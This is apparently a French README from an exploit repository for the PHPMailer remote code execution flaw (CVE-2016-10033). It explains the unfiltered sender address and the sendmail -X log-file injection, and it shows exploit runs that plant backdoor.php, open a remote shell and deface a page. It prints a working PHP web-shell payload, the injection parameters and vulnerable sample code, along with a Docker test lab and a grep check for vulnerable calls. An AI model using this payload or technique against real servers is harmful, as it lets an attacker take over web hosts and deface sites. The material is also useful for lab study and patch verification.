heikipikker/exploit-cve-2016-10034PHPMailer < 5.2.18 Exécution de code à distance
PHPMailer est la classe de transport la plus populaire au monde, avec environ 9 millions d'utilisateurs dans le monde. Les téléchargements se poursuivent à un rythme important chaque jour. Utilisé par de nombreux projets open-source : WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! et bien d'autres
PHPMailer avant sa version 5.2.18 souffre d'une vulnérabilité pouvant mener à une exécution de code à distance (RCE). La fonction mailSend dans le transport isMail de PHPMailer, lorsque la propriété Sender n'est pas définie, pourrait permettre à des attaquants distants de passer des paramètres supplémentaires à la commande mail et par conséquent exécuter du code arbitraire via un " (guillemet double précédé d'un antislash) dans une adresse From spécialement conçue.
Pour configurer un environnement vulnérable pour votre test, vous aurez besoin de Docker installé, et exécutez simplement la commande suivante :
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Et cela lancera une application web vulnérable sur votre hôte sur le port 8080
Pour exploiter cette cible, exécutez simplement :
./exploit host:port
Si vous utilisez cette image vulnérable, vous pouvez simplement exécuter :
./exploit localhost:8080
Après l'exploitation, un fichier appelé backdoor.php sera stocké dans le dossier racine du répertoire web. Et l'exploit vous donnera un shell où vous pourrez envoyer des commandes à la backdoor :
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Et voilà, vous avez votre shell. Il existe un autre exploit, qui illustre un autre cas d'utilisation.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Et si vous visitez la page à nouveau, vous verrez ceci :
Avant ce commit dans class.phpmailer.php, dans un certain scénario, il n'y a pas de filtre pour les caractères spéciaux de l'adresse email de l'expéditeur. Cette faille peut mener à une exécution de code à distance, via la fonction mail ici.
En analysant le code, il n'y a pas de filtre dans la fonction mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender est directement ajouté à la variable $params, qui était filtrée dans la fonction validateAddress(), mais comme elle utilise la spécification RFC 3696, elle autorise certains caractères qui vont causer des problèmes. Dans ce cas, les guillemets :
En plus d'utiliser les guillemets avec le caractère antislash, les guillemets doubles conventionnels peuvent être utilisés pour entourer des chaînes. Par exemple
"Abc@def"@example.com
"Fred Bloggs"@example.com
sont des formes alternatives des deux premiers exemples ci-dessus. Ces formes entre guillemets sont rarement recommandées, et sont inhabituelles dans la pratique, mais, comme discuté ci-dessus, doivent être supportées par les applications qui traitent des adresses email. En particulier, les formes entre guillemets apparaissent souvent dans le contexte d'adresses associées à des transitions depuis d'autres systèmes et contextes ; ces exigences de transition existent toujours et, étant donné qu'un système qui accepte une adresse email fournie par l'utilisateur ne peut pas "savoir" si cette adresse est associée à un système existant, les formes d'adresse doivent être acceptées et transmises dans l'environnement email.
Vous pouvez lire l'intégralité de la RFC ici si vous le souhaitez. Mais aussi, si la version de PHP est inférieure à 5.2.0, et qu'aucun PCRE n'est installé, la variable $patternselect dans validateAddress() sera définie sur noregex. Cela fera que l'entrée pourra éviter toute vérification regex. Elle ne passera qu'à travers une petite vérification :
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Ensuite, le flux de code va à la fonction mailPassthru(), qui, si elle s'exécute en safe_mode, ne sera pas vulnérable à cette faille, comme le code suivant l'indique
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Mais, s'il n'est pas exécuté en safe_mode, alors notre paramètre spécial sera passé à mail() et, si nous avons de la chance, il fera en sorte que notre fichier contenant ce que nous voulons soit écrit là où nous choisissons de l'écrire.
L'exploitation de la fonction PHP mail() n'est pas nouvelle, mais elle est toujours vivante et les gens l'utilisent encore. Pour expliquer comment cela fonctionne, regardons comment la fonction mail() est définie :
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Il existe plusieurs méthodes d'exploitation pour différents résultats, nous allons nous concentrer sur l'exploitation du 5ème paramètre pour obtenir une exécution de code à distance (RCE). Le paramètre $additional_parameters est utilisé pour passer des drapeaux supplémentaires en tant qu'options de ligne de commande au programme configuré pour envoyer l'email. Cette configuration est définie par la variable sendmail_path.
Une note de sécurité de la documentation officielle de PHP :
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
Compte tenu des paramètres supplémentaires qui peuvent être injectés, nous utiliserons -X pour exploiter cette faille. En savoir plus sur le paramètre -X
-X logfile
Journalise tout le trafic entrant et sortant des mailers dans le fichier journal indiqué. Cela ne doit être utilisé qu'en dernier recours pour déboguer les bogues du mailer. Cela journalisera beaucoup de données très rapidement.
Il existe également d'autres paramètres intéressants que vous devriez connaître :
-Cfile
Utiliser un fichier de configuration alternatif. Sendmail abandonne tous les privilèges améliorés (set-user-ID ou set-group-ID) si un fichier de configuration alternatif est spécifié.
-O option=value
Définir l'option sur la valeur spécifiée. Cette forme utilise des noms longs.
Et pour l'option -O, QueueDirectory est l'option la plus intéressante, cette option sélectionne le répertoire dans lequel mettre en file d'attente les messages.
Si vous voulez lire la liste complète des paramètres et options, faites man sendmail ou lisez-la en ligne ici
Sur la base de ces informations et de la capacité à contrôler au moins un des autres paramètres, nous pouvons exploiter l'hôte. Voici les étapes pour une exploitation réussie :
$additional_parameters et un autre paramètre de mail()webroot (c'est-à-dire /var/www/html pour d'autres systèmes, /www pour cet exemple)system() dans cet exemple, avec une touche de base64 et quelques caractères spéciaux | pour faciliter l'analyse.N'oubliez pas que l'option -X écrira le fichier journal, qui contiendra, parmi les informations du journal, votre charge utile PHP, dans le répertoire que vous indiquerez. Un exemple de code PHP vulnérable :
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Si vous exécutez le code ci-dessus, il créera un fichier journal dans /www/backdoor.php, c'est l'essence de cet exploit.
Voici la charge utile utilisée dans cet exemple
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Vous voulez un moyen simple, en une commande, pour repérer cette faille ? Souvenez-vous de cette commande grep magique !
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
En l'exécutant sur ce dépôt, on obtiendra
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Cette vulnérabilité a été découverte par Dawid Golunski.
Ce programme ou les précédents sont UNIQUEMENT à des fins éducatives. Ne l'utilisez pas sans autorisation. La clause de non-responsabilité habituelle s'applique, en particulier le fait que moi (opsxcq) ne suis pas responsable des dommages causés par l'utilisation directe ou indirecte des informations ou fonctionnalités fournies par ces programmes. L'auteur ou tout fournisseur d'accès Internet n'assume AUCUNE responsabilité pour le contenu ou l'utilisation abusive de ces programmes ou de leurs dérivés. En utilisant ces programmes, vous acceptez le fait que tout dommage (perte de données, crash système, compromission du système, etc.) causé par l'utilisation de ces programmes n'est pas de la responsabilité d'opsxcq.